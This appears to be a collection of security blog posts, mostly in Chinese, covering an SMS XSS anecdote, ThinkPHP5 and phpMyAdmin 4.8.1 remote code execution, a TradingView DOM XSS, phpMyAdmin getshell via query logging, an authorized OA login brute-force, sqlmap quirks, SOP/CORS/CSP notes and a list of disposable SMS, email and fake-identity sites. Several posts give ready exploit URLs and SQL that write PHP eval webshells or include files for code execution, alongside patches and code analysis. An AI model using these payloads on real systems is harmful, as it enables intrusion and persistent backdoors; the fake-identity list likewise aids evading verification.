xss in sms platform

Today I saw a picture in a group,then it surprise me. And he got a feedback in xss platform successfully. So I try it in my junk sms,then I got a feedback in my xss platform in no time. Reason:After send the reply, the string such as “TD” will be detected,and some sms platforms lack xss filter so that cause this problem. The operation is so cool!  

ThinkPHP5 RCE漏洞重现及分析

0x00 概述 近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞,由于没有有效过滤$controller,导致攻击者可以利用命名空间的方式调用任意类的方法,进而getshell。 0x01 影响范围 5.x < 5.1.31 5.x < 5.0.23 以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等。 shodan一下:   0x02 漏洞重现 win7+thinkphp5.1.24 (1)执行phpinfo /index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’   debian+thinkphp5.1.30 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?> win7+thinkphp5.0.16 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>   0x03 修复方案 直接git/composer更新 手工修复 5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上 if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   5.0版本 在think\App类的module方法的获取控制器的代码后面加上 if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   如果改完后404,尝试修改正则,加上\/ if (!preg_match(‘/^[A-Za-z\/](\w|\.)*$/’, $controller)) {   0x04 漏洞分析 Thinkphp5.1.24: 先看补丁: 对controller添加了过滤 查看路由调度: Module.php:83 public function exec() { // 监听module_init $this->app[‘hook’]->listen(‘module_init’);   try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig(‘url_controller_layer’), $this->rule->getConfig(‘controller_suffix’), $this->rule->getConfig(’empty_controller’)); } catch (ClassNotFoundException $e) { throw new HttpException(404, ‘controller not exists:’ . $e->getClass()); } …… $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);   return $this->autoResponse($data); }); $instance = $this->app->controller 实例化控制器以调用其中的方法 查看controller方法 App.php:719 public function controller($name, $layer = ‘controller’, $appendSuffix = false, $empty = ”) { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);   if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {……

记一次突破网站后台

授权目标:某办公系统 目录浏览: Web后台无法爆破 目录浏览发现图片:logo.png,蓝凌oa(其实从前面的scripts/的landary就可以知道了) 搜索历史漏洞,发现移动端登录地址 http://oa.xxx.cn/MobileApp/login.aspx 可爆破 得弱口令(zxcvbnm)进入移动端后台 刷新web端即可同时进入web端后台 getshell就是常规操作了,蓝凌oa一般都是数据库最高权限连接。 结语: 1. 遇到一些web无法爆破的网站,可尝试寻找移动端登录口进行爆破,移动端的防护可能相对较弱。 2. 不要忽略小问题,千里之堤溃于蚁穴。 3. 有时候技术含量不需要很高,重要的是细心和耐心。

关于sqlmap的两个小坑

0x00 概述 近日在利用sqlmap注入测试时遇到一个奇怪的现象,高版本sqlmap无法检测出注入,但是低版本的可以测出注入,并且能跑出数据不是误报,经过对比测试和查看sqlmap源码,发现两个小坑。   0x01 情景重现 注入点形式:json ……”whereparams”:[{“name”:”keyWord”,”value”:”test”}]} 可注入参数:value sqlmap命令: python sqlmap.py -r sqlpk.txt –flush-session -vv sqlmap v1.2.11无法注入 sqlmap v1.2成功注入 同理v1.2.10无法注入,v1.1.12可以注入 经过分析,两坑如下: (1)v1.2.11(/v1.2.10/v1.2.9/master)的boundaries.xml没有了针对模糊查询(%)的测试,而v1.2(/v1.1.12/1.1.4/1.2.2)则有。 (2)v1.2.11(/v1.2.10/1.2.9/master)必须手动设置json的某个参数为*才能对这个参数进行注入,否则payload直接跟在json后导致无法注入,而v1.2(/v1.1.12)则可以默认回车(y)即可对json的某个参数注入。   0x02 详细测试 坑点(1): 先了解sqlmap的payload组成: //图片来源https://www.freebuf.com/column/161797.html 看看v1.2的测试payload: 使用了payload:%‘ and 5731=5731 and ‘%’=’ 这是挺常见的搜索框注入 看看V1.2的boundaries.xml: 而v1.2.11的boundaries.xml没有对模糊查询的注入测试! https://github.com/sqlmapproject/sqlmap/blob/master/xml/boundaries.xml 于是添加模糊查询的注入测试到v1.2.11的该文件中,并手动添加*到注入参数(如value),即可成功注入! 附上添加后的版本: https://github.com/theLSA/sqlmap/tree/dev pr得到答复是因为误报太多所以移除了相关payload,但是会有限的恢复。 https://github.com/sqlmapproject/sqlmap/pull/3372   坑点(2): 对比v1.2和v1.2.11的payload: 可以看出直接将payload接在json末尾了。 在注入参数value手动添加* %22whereparams%22%3A%5B%7B%22name%22%3A%22keyWord%22%2C%22value%22%3A%22*%22%7D%5D%7D 即可成功注入!   0x03 结语 1. 个人建议添加模糊查询的测试payload,误报还是好过漏报,况且是很常见的模糊查询注入。 2. 遇到json参数尽量加手动*(针对某些版本的sqlmap)。 3. 利用sqlmap测试的时候建议加上-vv。    

浅谈sop、cors和csp

0x00 SOP(同源策略) 协议、域名、端口相同。 简单说就是防止A网站读取B网站的cookie(资源)。 ie不受端口和授信范围(信任度)限制。 sop虽然增加了安全性,但在某些情况下(如子域间通信)造成了不便,这时候需要跨域: 1.document.domain 2. #片段标识 3. name 4. postMessage 5. jsonp 6. cors 7. Websocket <script><img><iframe><link><video><audio>等带有src属性的标签可以从不同的域加载资源,但不能读资源。 0x01 CORS(跨域资源共享) 允许浏览器向跨源服务器发XMLHttpRequest请求,突破了ajax只能同源的限制,并且和ajax代码一样,关键在服务器的cors配置。 客户端: var invocation = new XMLHttpRequest();var url = ‘http://bar.other/resources/public-data/’; function callOtherDomain() { if(invocation) { invocation.open(‘GET’, url, true); invocation.onreadystatechange = handler; invocation.send(); 或者判断浏览器: <!DOCTYPE html> <html> <head> <script type=”text/javascript” src=”./functions.js”></script> </head> <body> <script type=”text/javascript”> // Create the XHR object. function createCORSRequest(method, url) { var xhr = new XMLHttpRequest(); if (“withCredentials” in xhr) { // XHR for Chrome/Firefox/Opera/Safari. xhr.open(method, url, true); } else if (typeof XDomainRequest != “undefined”) { // XDomainRequest for IE. xhr = new XDomainRequest(); xhr.open(method, url); } else { // CORS not supported. xhr = null; } return xhr; } // Make the actual CORS request. function makeCorsRequest() { // All HTML5 Rocks properties support CORS. var url = ‘http://oss-cors-test.oss-cn-hangzhou.aliyuncs.com/test.txt’; var xhr = createCORSRequest(‘GET’, url); if (!xhr) { alert(‘CORS not supported’); return; } // Response handlers. xhr.onload = function() { var text = xhr.responseText; var title = text; alert(‘Response from CORS request to ‘ + url……

sms/email online

//All links come from the internet. 0x00 SMS online https://www.pdflibr.com/ http://www.freeonlinephone.org http://www.receivesmsonline.net http://receivefreesms.com http://receive-sms-now.com http://www.receive-sms.com https://www.spoofbox.com/zh/tool/trash-mobile http://receivesmsonline.com/ https://smsreceivefree.com https://zh.mytrashmobile.com/numbers https://www.receive-a-sms.com receivesmsonline.eu https://www.receive-sms-online.info mfreesms.com/receivesms.php smsget.net/en receive-sms-online.com https://www.receivesms.net receivesmsonline.me freesmsverification.com receivesmsverification.com https://sms.ndtan.net receivefreesms.net freereceivesmsonline.com https://getfreesmsnumber.com https://sms-online.co/receive-free-sms https://www.temp-mails.com/lan/zh/Number https://globfone.com/send-text/   —— https://www.textnow.com/ http://www.heywire.com/ http://www.lleida.net/en https://www.pinger.com/content/home.html https://www.virtualphoneline.com/login/ http://sonetel.com/ ———-   0x01 Email online https://zh.mytrashmailer.com https://www.temp-mails.com http://www.yopmail.com 24mail.chacuo.net/enus mail.bccto.me https://www.moakt.com/ https://10minutemail.net/ https://www.guerrillamail.com https://trashmail.com https://10minutemail.com www.nowmymail.com http://hidzz.com/ mailcatch.com/en/disposable-email www.incognitomail.com www.mintemail.com https://www.spamgourmet.com/index.pl www.gishpuppy.com https://jetable.org/en/index www.mailinator.com https://maildrop.cc www.maildu.de www.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijk.com/login.php mailnesia.com/zh/ https://10minutemail.org/ http://mail.hainan.net/home/hnonline/index.jsp http://mailnull.com/ https://sneakemail.com/ www.fakemailgenerator.com   0x02 Else www.haoweichi.com/Index/random https://www.fakenamegenerator.com https://www.fakeaddressgenerator.com https://www.getnewidentity.com/fake-identity.php https://tw.51240.com us.2kz.net   0x03 More https://www.jianshu.com/p/bdd49afed711 https://www.zhihu.com/question/23418181 https://lazymanl.github.io/2018/06/13/假身份/ magazine.cartals.com/articles/2504/20個免費發送匿名電子郵件的優質網站(上)/ magazine.cartals.com/articles/2518/20個免費發送匿名電子郵件的優質網站(下)/

TradingView xss 0day 漏洞重现及分析

0x00 概述 近日,慢雾区传出js库TradingView xss 0day 漏洞,TradingView是多用于数字货币交易所、股票交易所的k线展示js库。   0x01 漏洞重现 Payload: #disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx’)//   https://www.xxx.com/assets/chart/charting_library/static/tv-chart.630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx’)//   0x02 修复方案 修改charting_library/static/bundles/library.xxxxxxxxxx.js文件,使 getScript(“”)   0x03 漏洞分析 从payload的三个参数分析 漏洞文件: charting_library/static/bundles/library.xxxxxxxxxx.js 函数: getScript(urlParams.indicatorsFile)   D?$.getScript(urlParams.indicatorsFile).done(function(){ 此函数关键代码: jQuery.ajaxTransport( “script”, function( s ) {   // This transport only deals with cross domain requests if ( s.crossDomain ) { var script, callback; return { send: function( _, complete ) { script = jQuery( “<script>” ).prop( { charset: s.scriptCharset, src: s.url } ).on( “load error”, callback = function( evt ) { script.remove(); callback = null; if ( evt ) { complete( evt.type === “error” ? 404 : 200, evt.type ); } } );   // Use native DOM manipulation to avoid our domManip AJAX trickery document.head.appendChild( script[ 0 ] ); }, abort: function() { if ( callback ) { callback(); } } }; } } ); 动态创建<script>,远程加载url。 另外两个参数: function e() { JSON.parse(urlParams.disabledFeatures).forEach(function(e){t.setEnabled(e,!1)}), JSON.parse(urlParams.enabledFeatures).forEach(function(e){t.setEnabled(e,!0)}) } 要求为json即可。   0x04 结语 DOM XSS,可过服务端/客户端防御。 测试了几个都存在,可见影响范围非常广。   0x05 参考资料 https://mp.weixin.qq.com/s/yfbKf_5Nk2NXFl2-xlFqKg

phpmyadmin getshell大法

0x00 概述 整理phpmyadmin的两种getshell方法,后续有其他方法再更新。   0x01 select日志 show variables like ‘general%’; set global general_log = ‘ON’;# MySQL 返回的查询结果为空 (即零行)。 set global general_log_file = ‘C:/phpStudy/PHPTutorial/WWW/logshell.php’;# MySQL 返回的查询结果为空 (即零行)。 SELECT ‘<?php @eval($_POST[lsa]);?>’   0x02 into outfile 此法有局限性,必须secure_file_priv不为null && 为网站路径 show variables like “secure_file_priv”; 默认Null 尝试设置为网站目录: 需要修改my.ini secure_file_priv=’网站路径   0x03 其他 还有phpmyadmin4.8.x LFI to RCE   0x04 结语 phpmyadmin上述getshell方法都要登录,可尝试爆破。   0x05 参考资料 www.freebuf.com/column/173672.html  

phpmyadmin4.8.x LFI to RCE

0x00 概述 6月下旬,chamd5团队公开了phpmyadmin4.8的LFI漏洞(须登录),可导致RCE,使用url双重编码绕过限制进行文件包含,再包含session文件或数据库表frm文件即可RCE。   0x01 漏洞重现 环境:win7+xampp+phpmyadmin4.8.1 Payload: http://127.0.0.1:8888/phpmyadmin481/index.php?target=export.php%25%33%66/../../../../../../../../../windows/system.ini 成功包含system.ini。 进入下一阶段:命令执行 方式一:包含frm 先查看data文件路径:show variables like ‘%datadir%’; 在test库中新建pmatest1表,其中一个字段名设置成<?php @eval($_GET[‘lsa’]);?> 再包含mysql/data/test/pmatest1.frm即可rce, payload: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../../../../../../../../xampp/mysql/data/test/pmatest1.frm 方式二:包含sess文件 利用php用文件存session的特性,在phpmyadmin里的操作都记录在sess_pmavalue中,该文件保存的路径视情况而定: xmapp中保存在 xampp/tmp/sess_pmavalue phpstudy: /phpstudy/PHPTutorial/tmp/tmp wamp: /wamp64/tmp 在Linux下,常见的文件路径为: /var/lib/php/session/ 在phpmyadmin中执行查询 SELECT ‘<?php @eval($_GET[lsa]); exit();?>’ 被记录在sess_pmavalue中 payload: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../tmp/sess_08vi4klpgs54l05fqq5p34d4ia //因为export.php%3f当成了目录,所以要多一个../ /*使用绝对路径也可以,如: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%253f/../../../../../../../../../../../../../../../../xampp/tmp/sess_fne7a5ah109htpaqndc5jpi8fn */ //不知为何用写入$_POST包含就会跳转首页……   0x02 漏洞分析 漏洞文件: .\index.php:55 // If we have a valid target, let’s load that script instead if (! empty($_REQUEST[‘target’]) && is_string($_REQUEST[‘target’]) && ! preg_match(‘/^index/’, $_REQUEST[‘target’]) && ! in_array($_REQUEST[‘target’], $target_blacklist) && Core::checkPageValidity($_REQUEST[‘target’]) ) { include $_REQUEST[‘target’]; exit; } target符合4个条件就会includ 1. 是字符串 2. 不以index开头 3. 不在 $target_blacklist名单里 4. 符合checkPageValidity函数要求   找checkPageValidity函数: libraries\classes\Core.php:443 public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; }   if (in_array($page, $whitelist)) { return true; }   $_page = mb_substr( $page, 0, mb_strpos($page . ‘?’, ‘?’) ); if (in_array($_page, $whitelist)) { return true; }   $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . ‘?’, ‘?’) ); if (in_array($_page, $whitelist)) { return true; }   return false; } 需要返回true,三个if有一个满足true就ok了,都需要满足whitelist: class Core { /** * the whitelist for goto parameter……